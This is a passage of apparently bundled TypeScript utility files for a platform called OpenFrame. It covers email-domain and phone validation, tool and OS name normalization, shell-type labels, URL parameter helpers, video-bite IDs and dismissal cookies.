= trimmed.substring(1)\n  }\n\n  // Check for empty after cleaning\n  if (!trimmed) {\n    return { valid: false, error: 'Email domain is required' }\n  }\n\n  // Check for protocol (common mistake: entering full URL)\n  if (trimmed.includes('://')) {\n    return { valid: false, error: 'Enter email domain only (e.g., openframe.ai), not a URL' }\n  }\n\n  // Check for @ symbol (common mistake: entering full email address)\n  if (trimmed.includes('@')) {\n    return { valid: false, error: 'Enter domain only, not a full email address' }\n  }\n\n  // Check for spaces\n  if (trimmed.includes(' ')) {\n    return { valid: false, error: 'Domain cannot contain spaces' }\n  }\n\n  // Check for trailing slash\n  if (trimmed.includes('/')) {\n    return { valid: false, error: 'Enter domain only, without paths' }\n  }\n\n  // Validate the domain format\n  if (!isValidEmailDomain(trimmed)) {\n    return { valid: false, error: 'Invalid domain format (e.g., openframe.ai)' }\n  }\n\n  // Return success with the cleaned domain\n  return { valid: true, cleanedDomain: trimmed.toLowerCase() }\n}\n\n/**\n * Validates a list of email domains\n * Returns the first error encountered or success if all domains are valid\n *\n * @param domains - Array of domain strings to validate\n * @returns Validation result with array of cleaned domains if valid\n */\nexport function validateEmailDomainList(domains: string[]): {\n  valid: boolean\n  error?: string\n  cleanedDomains?: string[]\n} {\n  if (!Array.isArray(domains)) {\n    return { valid: false, error: 'Domains must be an array' }\n  }\n\n  const cleanedDomains: string[] = []\n  const seenDomains = new Set<string>()\n\n  for (const domain of domains) {\n    const result = validateEmailDomain(domain)\n\n    if (!result.valid) {\n      return { valid: false, error: `Invalid domain \"${domain}\": ${result.error}` }\n    }\n\n    const cleanedDomain = result.cleanedDomain!\n\n    // Check for duplicates (case-insensitive)\n    if (seenDomains.has(cleanedDomain)) {\n      return { valid: false, error: `Duplicate domain: ${cleanedDomain}` }\n    }\n\n    seenDomains.add(cleanedDomain)\n    cleanedDomains.push(cleanedDomain)\n  }\n\n  return { valid: true, cleanedDomains }\n}\n\n/**\n * Cleans a domain string by removing common user input mistakes\n * Does NOT validate - use validateEmailDomain for validation\n *\n * @param domain - The domain string to clean\n * @returns Cleaned domain string\n */\nexport function cleanEmailDomain(domain: string): string {\n  if (!domain || typeof domain !== 'string') {\n    return ''\n  }\n\n  let cleaned = domain.trim().toLowerCase()\n\n  // Remove leading @\n  if (cleaned.startsWith('@')) {\n    cleaned = cleaned.substring(1)\n  }\n\n  // Remove protocol if present\n  cleaned = cleaned.replace(/^https?:\\/\\//, '')\n\n  // Remove trailing slash and path\n  cleaned = cleaned.split('/')[0]\n\n  // Remove www. prefix\n  cleaned = cleaned.replace(/^www\\./, '')\n\n  return cleaned\n}\n","/**\n * Confidence helpers for AI enrichment\n * Shared utilities for displaying confidence levels from AI operations\n */\n\n/**\n * Get Tailwind CSS classes for confidence badge display (border and text color)\n * @param confidence - Confidence score (0-100)\n * @returns CSS classes for border and text color\n */\nexport function getConfidenceColorClass(confidence?: number): string {\n  if (!confidence && confidence !== 0) return '';\n  if (confidence >= 80) return 'border-green-500 text-green-500';\n  if (confidence >= 50) return 'border-yellow-500 text-yellow-500';\n  return 'border-red-500 text-red-500';\n}\n\n/**\n * Get confidence level category\n * @param confidence - Confidence score (0-100)\n * @returns Confidence level category\n */\nexport function getConfidenceLevel(confidence?: number): 'high' | 'medium' | 'low' | 'none' {\n  if (!confidence && confidence !== 0) return 'none';\n  if (confidence >= 80) return 'high';\n  if (confidence >= 50) return 'medium';\n  return 'low';\n}\n\n/**\n * Get Tailwind CSS class for border color only\n * @param confidence - Confidence score (0-100)\n * @returns CSS class for border color\n */\nexport function getConfidenceBorderClass(confidence?: number): string {\n  if (!confidence && confidence !== 0) return '';\n  if (confidence >= 80) return 'border-green-500';\n  if (confidence >= 50) return 'border-yellow-500';\n  return 'border-red-500';\n}\n\n/**\n * Get Tailwind CSS class for text color only\n * @param confidence - Confidence score (0-100)\n * @returns CSS class for text color\n */\nexport function getConfidenceTextClass(confidence?: number): string {\n  if (!confidence && confidence !== 0) return '';\n  if (confidence >= 80) return 'text-green-500';\n  if (confidence >= 50) return 'text-yellow-500';\n  return 'text-red-500';\n}\n\n/**\n * Get Tailwind CSS class for background color (subtle)\n * @param confidence - Confidence score (0-100)\n * @returns CSS class for subtle background color\n */\nexport function getConfidenceBgClass(confidence?: number): string {\n  if (!confidence && confidence !== 0) return '';\n  if (confidence >= 80) return 'bg-green-500/10';\n  if (confidence >= 50) return 'bg-yellow-500/10';\n  return 'bg-red-500/10';\n}\n\n/**\n * Get descriptive label for confidence level\n * @param confidence - Confidence score (0-100)\n * @returns Human-readable confidence label\n */\nexport function getConfidenceLabel(confidence?: number): string {\n  if (!confidence && confidence !== 0) return 'Unknown';\n  if (confidence >= 80) return 'High';\n  if (confidence >= 50) return 'Medium';\n  return 'Low';\n}\n","/**\n * Canonical URL param keys for the dev-center sections — the ONE source for both:\n *   - the chrome registry (`OPENFRAME_DEV_SECTIONS`), which WRITES `?<key>=…` to the URL, and\n *   - the list views (`RoadmapView` / `ProductReleasesView` / `DeliveryLists`), which READ\n *     `?<key>=…` to fetch the filtered list.\n *\n * The chrome and the view MUST agree on the key or filtering silently breaks. Importing\n * from here (instead of re-declaring the literal in each place) makes that impossible to\n * get wrong. Pure string constants — no React, no heavy deps — so both server-bundled\n * utils and client views can import it freely.\n */\nexport const DEV_SECTION_PARAM_KEYS = {\n  /** Free-text search box — shared by every dev-center section. */\n  search: 'search',\n  /** Roadmap (and Help Center tickets) status filter. */\n  status: 'status',\n  /** Product-releases stability-tier filter. */\n  releaseStatus: 'release_status',\n  /** Delivery (bug-fix / enhancement) task-type filter. */\n  deliveryTaskType: 'task_type',\n} as const\n\n/** Section keys that participate in `<section>-<id>` anchor IDs.\n *  The URL composer (`appendSearchAndHash` in hub `dev-section-url.ts`)\n *  and the row components (`DeliveryRow`, `RoadmapCard`, `HelpCenterCard`)\n *  both call `devSectionAnchorId` so the DOM `id` and the URL hash stay\n *  in lockstep — adding a new section means adding the literal here\n *  ONCE, not at every render site. */\nexport type DevSectionAnchorKind = 'roadmap' | 'delivery' | 'ticket'\n\n/** Compose the canonical `<section>-<id>` anchor id used by the dev-center\n *  rows + URL composer. */\nexport function devSectionAnchorId(section: DevSectionAnchorKind, id: string): string {\n  return `${section}-${id}`\n}\n\n/**\n * THE single source of truth for \"which ticket is open\" — the URL query\n * param `HelpCenterList` derives its drawer state from. Every producer\n * of a ticket deep link goes through `buildTicketOpenHref`; every\n * consumer reads THIS param name. Lives HERE (pure, server-safe, beside\n * its sibling param keys) because producers span both worlds: the hub's\n * SERVER-side chat-ref builder and the client header cell.\n */\nexport const TICKET_OPEN_PARAM = 'ticket'\n\n/**\n * Build THE canonical ticket deep link — the ONE producer for every\n * surface that links to a ticket (chat inline cards via the hub's\n * `buildChatRefFromTicketRow`, the header `TicketAlertsButton`, any\n * future caller). Byte-identical output everywhere:\n *\n *   `<base>?ticket=<id>&search=<id>#ticket-<id>`\n *\n * All three parts are load-bearing:\n *   - `?ticket=`  — drawer auto-open (`HelpCenterList` derives its open\n *                   state from this param);\n *   - `&search=`  — filters the list to ONLY that ticket so the\n *                   drawer-open lookup hits regardless of which PAGE the\n *                   ticket would normally land on (without it, tickets\n *                   on page 2+ silently fail to auto-open);\n *   - `#ticket-…` — scroll anchor via the dev-section deep-link\n *                   dispatch (`useScrollToHash` + `devSectionAnchorId`).\n *\n * `base` is the host's tickets surface path and may carry ANY nesting\n * prefix (hub `/tickets`, console `/help-center/tickets`, an embedder's\n * `/support/portal/tickets`). Bases already carrying a query string are\n * composed with `&`.\n */\nexport function buildTicketOpenHref(base: string, ticketExternalId: string): string {\n  const enc = encodeURIComponent(ticketExternalId)\n  const sep = base.includes('?') ? '&' : '?'\n  return `${base}${sep}${TICKET_OPEN_PARAM}=${enc}&${DEV_SECTION_PARAM_KEYS.search}=${enc}#${devSectionAnchorId('ticket', enc)}`\n}\n","/**\n * Tool Utilities\n *\n * Provides normalization and conversion utilities for tool types.\n * Handles various input formats (aliases, case variations) and converts\n * them to the canonical ToolType used throughout the platform.\n */\n\nimport { ToolType, toolLabels } from '../types/tool.types'\n\n/**\n * Map of common tool name variants to canonical ToolType\n */\nconst toolAliasMap: Record<string, ToolType> = {\n  // Fleet MDM\n  'FLEET': 'FLEET_MDM',\n  'FLEET_MDM': 'FLEET_MDM',\n  'FLEET-MDM': 'FLEET_MDM',\n  'FLEETMDM': 'FLEET_MDM',\n  'fleet': 'FLEET_MDM',\n  'fleet_mdm': 'FLEET_MDM',\n  'fleet-mdm': 'FLEET_MDM',\n  'fleetmdm': 'FLEET_MDM',\n  'fleetmdm-agent': 'FLEET_MDM',\n\n  // MeshCentral\n  'MESHCENTRAL': 'MESHCENTRAL',\n  'MESH': 'MESHCENTRAL',\n  'MESH_CENTRAL': 'MESHCENTRAL',\n  'MESH-CENTRAL': 'MESHCENTRAL',\n  'mesh': 'MESHCENTRAL',\n  'meshcentral': 'MESHCENTRAL',\n  'mesh_central': 'MESHCENTRAL',\n  'mesh-central': 'MESHCENTRAL',\n  'meshcentral-agent': 'MESHCENTRAL',\n\n  // Authentik\n  'AUTHENTIK': 'AUTHENTIK',\n  'authentik': 'AUTHENTIK',\n\n  // OpenFrame\n  'OPENFRAME': 'OPENFRAME',\n  'openframe': 'OPENFRAME',\n  'OPEN_FRAME': 'OPENFRAME',\n  'OPEN-FRAME': 'OPENFRAME',\n  'open_frame': 'OPENFRAME',\n  'open-frame': 'OPENFRAME',\n\n  // OpenFrame Chat\n  'OPENFRAME_CHAT': 'OPENFRAME_CHAT',\n  'OPENFRAME-CHAT': 'OPENFRAME_CHAT',\n  'OPENFRAMECHAT': 'OPENFRAME_CHAT',\n  'openframe_chat': 'OPENFRAME_CHAT',\n  'openframe-chat': 'OPENFRAME_CHAT',\n  'openframechat': 'OPENFRAME_CHAT',\n\n  // OpenFrame Client\n  'OPENFRAME_CLIENT': 'OPENFRAME_CLIENT',\n  'OPENFRAME-CLIENT': 'OPENFRAME_CLIENT',\n  'OPENFRAMECLIENT': 'OPENFRAME_CLIENT',\n  'openframe_client': 'OPENFRAME_CLIENT',\n  'openframe-client': 'OPENFRAME_CLIENT',\n  'openframeclient': 'OPENFRAME_CLIENT',\n\n  // OpenFrame RMM\n  'RMM': 'OPENFRAME_RMM',\n  'rmm': 'OPENFRAME_RMM',\n  'OPENFRAME_RMM': 'OPENFRAME_RMM',\n  'OPENFRAME-RMM': 'OPENFRAME_RMM',\n  'OPENFRAMERMM': 'OPENFRAME_RMM',\n  'openframe_rmm': 'OPENFRAME_RMM',\n  'openframe-rmm': 'OPENFRAME_RMM',\n  'openframermm': 'OPENFRAME_RMM',\n  'openframe-rmm-agent': 'OPENFRAME_RMM',\n\n  // OSQUERY\n  'OSQUERY': 'OSQUERY',\n\n  // System\n  'SYSTEM': 'SYSTEM',\n  'system': 'SYSTEM',\n}\n\n/**\n * Normalizes a tool name string to the canonical ToolType.\n * Handles various formats like 'rmm', 'OPENFRAME_RMM', 'openframe-rmm', etc.\n *\n * @param input - The tool name string to normalize\n * @returns The canonical ToolType, or undefined if no match found\n *\n * @example\n * normalizeToolType('rmm') // => 'OPENFRAME_RMM'\n * normalizeToolType('FLEET-MDM') // => 'FLEET_MDM'\n * normalizeToolType('unknown') // => undefined\n */\nexport function normalizeToolType(input?: string): ToolType | undefined {\n  if (!input) return undefined\n\n  // Try exact match first\n  const exact = toolAliasMap[input]\n  if (exact) return exact\n\n  // Try uppercase\n  const upper = input.toUpperCase()\n  if (toolAliasMap[upper]) return toolAliasMap[upper]\n\n  // Try lowercase\n  const lower = input.toLowerCase()\n  if (toolAliasMap[lower]) return toolAliasMap[lower]\n\n  return undefined\n}\n\n/**\n * Normalizes a tool name string to the canonical ToolType with a fallback.\n * Returns 'SYSTEM' as the default if no match is found.\n *\n * @param input - The tool name string to normalize\n * @returns The canonical ToolType, defaults to 'SYSTEM' if no match\n *\n * @example\n * normalizeToolTypeWithFallback('rmm') // => 'OPENFRAME_RMM'\n * normalizeToolTypeWithFallback('unknown') // => 'SYSTEM'\n */\nexport function normalizeToolTypeWithFallback(input?: string): ToolType {\n  return normalizeToolType(input) ?? 'SYSTEM'\n}\n\n/**\n * Converts any tool name variant to its display label.\n * Handles normalization internally.\n *\n * @param input - The tool name string (any format)\n * @returns The display label, or the original input if no match\n *\n * @example\n * toToolLabel('rmm') // => 'RMM'\n * toToolLabel('FLEET-MDM') // => 'Fleet'\n * toToolLabel('unknown') // => 'unknown'\n */\nexport function toToolLabel(input?: string): string {\n  if (!input) return ''\n\n  const toolType = normalizeToolType(input)\n  if (toolType) {\n    return toolLabels[toolType]\n  }\n\n  return input\n}\n\n/**\n * Checks if a string is a valid tool type (or can be normalized to one).\n *\n * @param input - The string to check\n * @returns True if the input can be normalized to a valid ToolType\n *\n * @example\n * isValidToolType('rmm') // => true\n * isValidToolType('FLEET_MDM') // => true\n * isValidToolType('unknown') // => false\n */\nexport function isValidToolType(input?: string): boolean {\n  return normalizeToolType(input) !== undefined\n}\n\n/**\n * Gets all valid tool type aliases for a given canonical ToolType.\n * Useful for documentation or validation purposes.\n *\n * @param toolType - The canonical ToolType\n * @returns Array of all aliases that map to this tool type\n */\nexport function getToolTypeAliases(toolType: ToolType): string[] {\n  return Object.entries(toolAliasMap)\n    .filter(([_, value]) => value === toolType)\n    .map(([key]) => key)\n}\n\n/**\n * Get display label for a tool type\n */\nexport function getToolLabel(toolType: ToolType): string {\n  return toolLabels[toolType] || toolType\n}\n","/**\n * Centralized Shell Types\n *\n * Single source of truth for all shell/script type information across the platform.\n * Based on the RMM-supported shell types.\n */\nimport { PowershellLogoIcon } from '../components/icons-v2-generated/brand-logos/powershell-logo-icon'\nimport { PythonLogoIcon } from '../components/icons-v2-generated/brand-logos/python-logo-icon'\nimport {\n  BashIcon,\n  CmdIcon,\n  DenoIcon,\n  NushellIcon,\n  ShellIcon\n} from '../components/icons'\nimport type { IconProps } from './icons'\n\n\n\nexport const ShellTypeValues = {\n  POWERSHELL: 'POWERSHELL',\n  CMD: 'CMD',\n  BASH: 'BASH',\n  PYTHON: 'PYTHON',\n  NUSHELL: 'NUSHELL',\n  DENO: 'DENO',\n  SHELL: 'SHELL'\n} as const\n\nexport type ShellType = (typeof ShellTypeValues)[keyof typeof ShellTypeValues]\n\n/**\n * Shell type definition with all metadata\n */\nexport interface ShellTypeDefinition {\n  id: ShellType\n  label: string\n  value: string\n  icon: React.ComponentType<IconProps>\n}\n\n/**\n * Complete list of all shell types with icons and labels\n * SINGLE SOURCE OF TRUTH - Use this everywhere\n */\nexport const SHELL_TYPES: ShellTypeDefinition[] = [\n  { id: ShellTypeValues.POWERSHELL, label: 'PowerShell', value: 'powershell', icon: PowershellLogoIcon },\n  { id: ShellTypeValues.CMD, label: 'Batch', value: 'cmd', icon: CmdIcon },\n  { id: ShellTypeValues.BASH, label: 'Bash', value: 'bash', icon: BashIcon },\n  { id: ShellTypeValues.PYTHON, label: 'Python', value: 'python', icon: PythonLogoIcon },\n  { id: ShellTypeValues.NUSHELL, label: 'Nu', value: 'nushell', icon: NushellIcon },\n  { id: ShellTypeValues.DENO, label: 'Deno', value: 'deno', icon: DenoIcon },\n  { id: ShellTypeValues.SHELL, label: 'Shell', value: 'shell', icon: ShellIcon },\n]\n\n/**\n * Maps shell types to display labels\n */\nexport const shellLabels: Record<ShellType, string> = {\n  [ShellTypeValues.POWERSHELL]: 'PowerShell',\n  [ShellTypeValues.CMD]: 'Batch',\n  [ShellTypeValues.BASH]: 'Bash',\n  [ShellTypeValues.PYTHON]: 'Python',\n  [ShellTypeValues.NUSHELL]: 'Nu',\n  [ShellTypeValues.DENO]: 'Deno',\n  [ShellTypeValues.SHELL]: 'Shell'\n}\n","/**\n * Shell Type Utilities\n *\n * Helper functions for working with shell types.\n */\n\nimport React from 'react'\nimport { ShellType, SHELL_TYPES, shellLabels } from '../types/shell.types'\n\n/**\n * Get display label for a shell type\n */\nexport function getShellLabel(shellType?: string): string {\n  if (!shellType) return 'Unknown'\n  const normalized = shellType.toUpperCase() as ShellType\n  return shellLabels[normalized] || shellType\n}\n\n/**\n * Get icon component for a shell type\n */\nexport function getShellIcon(shellType?: string): React.ComponentType<{ className?: string }> | undefined {\n  if (!shellType) return undefined\n  const normalized = shellType.toUpperCase() as ShellType\n  const shellDef = SHELL_TYPES.find(s => s.id === normalized)\n  return shellDef?.icon\n}\n","// Video-bite element identity — SSOT for the stable per-element `id` on\n// `video_bites` / `teasers` jsonb elements (see types/video-processing.ts\n// `VideoTeaser.id`) and for the ONE element-matching predicate shared by the\n// hub's bite writers (`saveEntityVideoBitesResult` merge + the\n// `reconcileIncomingBites` clobber guard).\n//\n// Isomorphic by design: runs in the admin editor (browser) and in the hub's\n// Mux reconciliation sweep (Node). Zero dependencies.\n\n/** Shape every matcher/stamper here operates on — the identity-relevant subset of VideoTeaser. */\nexport interface BiteIdentity {\n  id?: string\n  url: string\n  source_url?: string\n}\n\n/** 8 lowercase hex chars. Collision-safe within one array (n≤~100 → p≈1e-6); identity is always scoped to (table, row, column). */\nexport const BITE_ID_RE = /^[0-9a-f]{8}$/\n\n/** Generate a new 8-hex bite element id. */\nexport function generateBiteId(): string {\n  return crypto.randomUUID().replace(/-/g, '').slice(0, 8)\n}\n\n/**\n * Stamp missing ids and re-stamp in-array duplicates (copy/pasted bites).\n * Returns the SAME array reference when nothing changed so callers can cheaply\n * skip persistence (`changed === false` ⇒ no write needed).\n */\nexport function ensureBiteIds<T extends { id?: string }>(bites: readonly T[]): { bites: T[]; changed: boolean } {\n  const seen = new Set<string>()\n  let changed = false\n  const out = bites.map(bite => {\n    const valid = typeof bite.id === 'string' && BITE_ID_RE.test(bite.id) && !seen.has(bite.id)\n    if (valid) {\n      seen.add(bite.id as string)\n      return bite\n    }\n    changed = true\n    let id = generateBiteId()\n    while (seen.has(id)) id = generateBiteId()\n    seen.add(id)\n    return { ...bite, id }\n  })\n  return changed ? { bites: out, changed } : { bites: bites as T[], changed }\n}\n\n/**\n * The ONE element-identity predicate. Matching legs (any-of, NOT\n * short-circuit-on-id-inequality — two sides can carry DIFFERENT ids for\n * the same clip, e.g. a redelivered Vizard ingest regenerates ids):\n *   1. `id` equality — when both sides carry one and they match.\n *   2. `incoming.url === existing.url` — plain url (pre-flip stale sessions,\n *      plain re-saves).\n *   3. `incoming.url === existing.source_url` — the incoming side still holds\n *      the original storage URL of an element the Mux pipeline already flipped\n *      to HLS (redelivered ingests, stale editor arrays).\n *\n * Callers that match a whole incoming array against an existing array MUST\n * consume each existing element at most once (multiset matching) — duplicate\n * incoming urls must not all bind to one element and clone its id.\n */\nexport function matchBiteElement(existing: BiteIdentity, incoming: BiteIdentity): boolean {\n  if (existing.id && incoming.id && existing.id === incoming.id) return true\n  if (incoming.url === existing.url) return true\n  if (existing.source_url && incoming.url === existing.source_url) return true\n  return false\n}\n","/**\n * Centralized OS Types\n *\n * Single source of truth for all operating system type information across the platform.\n * Handles normalization of OS values from various sources (Fleet MDM, OpenFrame RMM, GraphQL).\n */\n\nimport { AppleLogoIcon } from '../components/icons-v2-generated/brand-logos/apple-logo-icon'\nimport { LinuxLogoIcon } from '../components/icons-v2-generated/brand-logos/linux-logo-icon'\nimport { WindowsLogoGreyIcon } from '../components/icons-v2-generated/brand-logos/windows-logo-grey-icon'\nimport React from 'react'\nimport type { OSPlatformId } from '../utils/os-platforms'\n\nexport const OSTypeValues = {\n  WINDOWS: 'WINDOWS',\n  MACOS: 'MACOS',\n  LINUX: 'LINUX'\n} as const\n\nexport type OSType = (typeof OSTypeValues)[keyof typeof OSTypeValues]\n\n/**\n * OS type definition with all metadata\n */\nexport interface OSTypeDefinition {\n  id: OSType\n  label: string\n  value: string\n  icon: React.ComponentType<any>\n  platformId: OSPlatformId\n  aliases: string[]  // Alternative names/values that map to this OS\n}\n\n/**\n * Complete list of all OS types with icons and labels\n * SINGLE SOURCE OF TRUTH - Use this everywhere\n */\nexport const OS_TYPES: OSTypeDefinition[] = [\n  {\n    id: OSTypeValues.MACOS,\n    label: 'macOS',\n    value: OSTypeValues.MACOS,\n    icon: AppleLogoIcon,\n    platformId: 'darwin',\n    aliases: ['darwin', 'macos', 'mac os', 'osx', 'os x', 'mac']  // Put more specific ones first, 'mac' last to avoid false matches\n  },\n  {\n    id: OSTypeValues.WINDOWS,\n    label: 'Windows',\n    value: OSTypeValues.WINDOWS,\n    icon: WindowsLogoGreyIcon,\n    platformId: 'windows',\n    aliases: ['windows', 'win32', 'win64', 'win']  // 'win' last since it's shortest\n  },\n  {\n    id: OSTypeValues.LINUX,\n    label: 'Linux',\n    value: OSTypeValues.LINUX,\n    icon: LinuxLogoIcon,\n    platformId: 'linux',\n    aliases: ['linux', 'ubuntu', 'debian', 'centos', 'redhat', 'fedora', 'pop', 'pop!_os', 'arch', 'manjaro']\n  }\n]\n\n/**\n * Maps OS types to display labels\n */\nexport const osLabels: Record<OSType, string> = {\n  [OSTypeValues.WINDOWS]: 'Windows',\n  [OSTypeValues.MACOS]: 'macOS',\n  [OSTypeValues.LINUX]: 'Linux'\n}\n","/**\n * OS Type Utilities\n *\n * Helper functions for working with OS types.\n */\n\nimport React from 'react'\nimport type { OSPlatformId } from './os-platforms'\nimport { OSType, OSTypeDefinition, OS_TYPES, osLabels } from '../types/os.types'\n\n/**\n * Normalize OS type string to standard OSType enum\n * Handles case-insensitive matching and various OS name variations\n *\n * @param osType - Raw OS type string from API or device data\n * @returns Normalized OSType or undefined if not recognized\n *\n * @example\n * normalizeOSType('windows') // 'WINDOWS'\n * normalizeOSType('Darwin') // 'MACOS'\n * normalizeOSType('Ubuntu') // 'LINUX'\n */\nexport function normalizeOSType(osType?: string): OSType | undefined {\n  if (!osType) return undefined\n\n  const normalized = osType.toLowerCase().trim()\n\n  // Check for exact matches first, then partial matches\n  // This prevents \"win\" from matching \"darwin\"\n  for (const osTypeDef of OS_TYPES) {\n    // Check for exact word match first\n    if (osTypeDef.aliases.some(alias => {\n      // Exact match\n      if (normalized === alias) return true\n      // Word boundary match (e.g., \"mac\" in \"mac os\" but not in \"vmac\")\n      const wordBoundaryRegex = new RegExp(`\\\\b${alias}\\\\b`, 'i')\n      return wordBoundaryRegex.test(osType)\n    })) {\n      return osTypeDef.id\n    }\n  }\n\n  // Fallback to partial matching for version strings like \"macOS 26.0.1\"\n  for (const osTypeDef of OS_TYPES) {\n    if (osTypeDef.aliases.some(alias => normalized.includes(alias))) {\n      return osTypeDef.id\n    }\n  }\n\n  return undefined\n}\n\n/**\n * Get display label for an OS type\n *\n * @param osType - OS type string (can be raw or normalized)\n * @returns Display label\n */\nexport function getOSLabel(osType?: string): string {\n  if (!osType) return 'Unknown'\n\n  const normalized = normalizeOSType(osType)\n  return normalized ? osLabels[normalized] : osType\n}\n\n/**\n * Get icon component for an OS type\n *\n * @param osType - OS type string (can be raw or normalized)\n * @returns Icon component or undefined\n */\nexport function getOSIcon(osType?: string): React.ComponentType<any> | undefined {\n  if (!osType) return undefined\n\n  const normalized = normalizeOSType(osType)\n  if (!normalized) return undefined\n\n  const osTypeDef = OS_TYPES.find(t => t.id === normalized)\n  return osTypeDef?.icon\n}\n\n/**\n * Get OS type definition by OS type string\n *\n * @param osType - OS type string (can be raw or normalized)\n * @returns Complete OS type definition or undefined\n */\nexport function getOSTypeDefinition(osType?: string): OSTypeDefinition | undefined {\n  if (!osType) return undefined\n\n  const normalized = normalizeOSType(osType)\n  if (!normalized) return undefined\n\n  return OS_TYPES.find(t => t.id === normalized)\n}\n\n/**\n * Get platform ID for an OS type (for cross-referencing with OS_PLATFORMS)\n *\n * @param osType - OS type string (can be raw or normalized)\n * @returns Platform ID or undefined\n */\nexport function getOSPlatformId(osType?: string): OSPlatformId | undefined {\n  const osTypeDef = getOSTypeDefinition(osType)\n  return osTypeDef?.platformId\n}\n\n/**\n * Check if device OS matches a specific platform\n *\n * @param deviceOS - Device OS string\n * @param targetPlatform - Target platform to check against\n * @returns True if OS matches platform\n *\n * @example\n * isOSPlatform('Darwin', 'darwin') // true\n * isOSPlatform('Windows 10', 'windows') // true\n * isOSPlatform('Ubuntu', 'linux') // true\n */\nexport function isOSPlatform(deviceOS?: string, targetPlatform?: OSPlatformId): boolean {\n  if (!deviceOS || !targetPlatform) return false\n\n  const platformId = getOSPlatformId(deviceOS)\n  return platformId === targetPlatform\n}\n","import { getCountries, getCountryCallingCode, isValidPhoneNumber, parsePhoneNumber } from 'libphonenumber-js'\nimport type { CountryCode } from 'libphonenumber-js'\n\nexport interface CountryPhoneData {\n  code: CountryCode\n  name: string\n  dialCode: string\n  flag: string\n}\n\n/**\n * Priority country codes shown at the top of country selectors\n */\nconst PRIORITY_CODES: CountryCode[] = ['US', 'CA', 'GB', 'AU']\n\n/**\n * Convert ISO 3166-1 alpha-2 country code to flag emoji\n */\nfunction countryCodeToFlag(code: string): string {\n  return code\n    .toUpperCase()\n    .split('')\n    .map(char => String.fromCodePoint(0x1F1E6 + char.charCodeAt(0) - 65))\n    .join('')\n}\n\n/**\n * Build country phone data from libphonenumber-js metadata + Intl.DisplayNames\n */\nfunction buildCountryData(): { priority: CountryPhoneData[]; others: CountryPhoneData[] } {\n  const displayNames = new Intl.DisplayNames(['en'], { type: 'region' })\n  const allCodes = getCountries()\n\n  const toData = (code: CountryCode): CountryPhoneData => ({\n    code,\n    name: displayNames.of(code) || code,\n    dialCode: `+${getCountryCallingCode(code)}`,\n    flag: countryCodeToFlag(code),\n  })\n\n  const priority = PRIORITY_CODES.map(toData)\n\n  const prioritySet = new Set(PRIORITY_CODES)\n  const others = allCodes\n    .filter(c => !prioritySet.has(c))\n    .map(toData)\n    .sort((a, b) => a.name.localeCompare(b.name))\n\n  return { priority, others }\n}\n\nlet _cache: { priority: CountryPhoneData[]; others: CountryPhoneData[] } | null = null\n\n/**\n * Get all countries split into priority (US, CA, GB, AU) and the rest alphabetically\n */\nexport function getCountryPhoneData() {\n  if (!_cache) {\n    _cache = buildCountryData()\n  }\n  return _cache\n}\n\n/**\n * Find country data by ISO code\n */\nexport function getCountryByCode(code: CountryCode): CountryPhoneData | undefined {\n  const { priority, others } = getCountryPhoneData()\n  return priority.find(c => c.code === code) || others.find(c => c.code === code)\n}\n\n/**\n * Validate a phone number for a specific country using libphonenumber\n */\nexport function validatePhoneNumber(phoneNumber: string, countryCode: CountryCode): boolean {\n  if (!phoneNumber.trim()) return true // optional field\n  return isValidPhoneNumber(phoneNumber, countryCode)\n}\n\n/**\n * Format a phone number to E.164 format (e.g., +14155552671)\n */\nexport function formatPhoneE164(phoneNumber: string, countryCode: CountryCode): string {\n  try {\n    const parsed = parsePhoneNumber(phoneNumber, countryCode)\n    if (parsed && parsed.isValid()) {\n      return parsed.format('E.164')\n    }\n  } catch {\n    // fall through to manual formatting\n  }\n  const dialCode = `+${getCountryCallingCode(countryCode)}`\n  const digits = phoneNumber.replace(/\\D/g, '')\n  return `${dialCode}${digits}`\n}\n","/**\n * Generic Domain Detection\n * Detects personal/generic email providers (gmail, yahoo, etc.)\n */\n\nexport const GENERIC_EMAIL_DOMAINS = [\n  // Major providers\n  'gmail.com',\n  'yahoo.com',\n  'hotmail.com',\n  'outlook.com',\n  'live.com',\n  'msn.com',\n  // Apple\n  'icloud.com',\n  'me.com',\n  'mac.com',\n  // Other providers\n  'aol.com',\n  'protonmail.com',\n  'mail.com',\n  'yandex.com',\n  'zoho.com',\n  'gmx.com',\n  'fastmail.com',\n  // ISP-based\n  'comcast.net',\n  'verizon.net',\n  'att.net',\n  'sbcglobal.net',\n  'bellsouth.net',\n  'cox.net',\n  // International\n  'qq.com',\n  '163.com',\n  '126.com',\n  'web.de',\n  't-online.de',\n] as const\n\nexport type GenericEmailDomain = (typeof GENERIC_EMAIL_DOMAINS)[number]\n\nexport function extractDomainFromEmail(email: string): string | null {\n  if (!email || !email.includes('@')) return null\n  return email.split('@')[1]?.toLowerCase() || null\n}\n\nexport function normalizeDomain(domain: string): string {\n  return (\n    domain\n      ?.toLowerCase()\n      .replace(/^https?:\\/\\//, '')\n      .replace(/^www\\./, '')\n      .split('/')[0]\n      .trim() || ''\n  )\n}\n\nexport function isGenericDomain(domain: string): boolean {\n  const normalized = normalizeDomain(domain)\n  return GENERIC_EMAIL_DOMAINS.includes(normalized as GenericEmailDomain)\n}\n\nexport function hasGenericEmailDomain(email: string): boolean {\n  const domain = extractDomainFromEmail(email)\n  return domain ? isGenericDomain(domain) : false\n}\n\nexport function isGenericWebsiteDomain(website: string): boolean {\n  return isGenericDomain(normalizeDomain(website))\n}\n","/**\n * Dismissal-cookie primitives — THE one implementation of \"this surface was\n * dismissed\", shared by every dismissible surface (announcement bar, floating\n * walkthrough video, and anything added later).\n *\n * The dismissal rule is an ID MATCH, never mere cookie presence: the cookie\n * stores the id of the LAST dismissed item, so publishing a NEW item re-shows\n * the surface while the old dismissal still suppresses the old item.\n *\n * No `\"use client\"` on purpose — `isDismissedCookieValue` is pure and is used by\n * server code (the hub's root layout reads the cookie during SSR to avoid a\n * flash); the DOM-touching helpers guard on `typeof document`.\n */\n\n/** One year, the standard dismissal horizon for these surfaces. */\nconst DISMISS_COOKIE_MAX_AGE_SECONDS = 31_536_000;\n\n/** THE dismissal match rule. `undefined` id (nothing active) → not dismissed. */\nexport function isDismissedCookieValue(\n  cookieValue: string | undefined,\n  id: string | undefined,\n): boolean {\n  return !!id && cookieValue === id;\n}\n\n/**\n * Read a dismissal cookie. Returns `undefined` when absent OR malformed:\n * `decodeURIComponent` throws `URIError` on bad percent-encoding, and callers\n * run this inside reveal paths where an uncaught throw would hide the surface\n * permanently. Failing open (treated as not-dismissed) is always the safe side.\n */\nexport function readDismissCookie(name: string): string | undefined {\n  if (typeof document === 'undefined') return undefined;\n  const 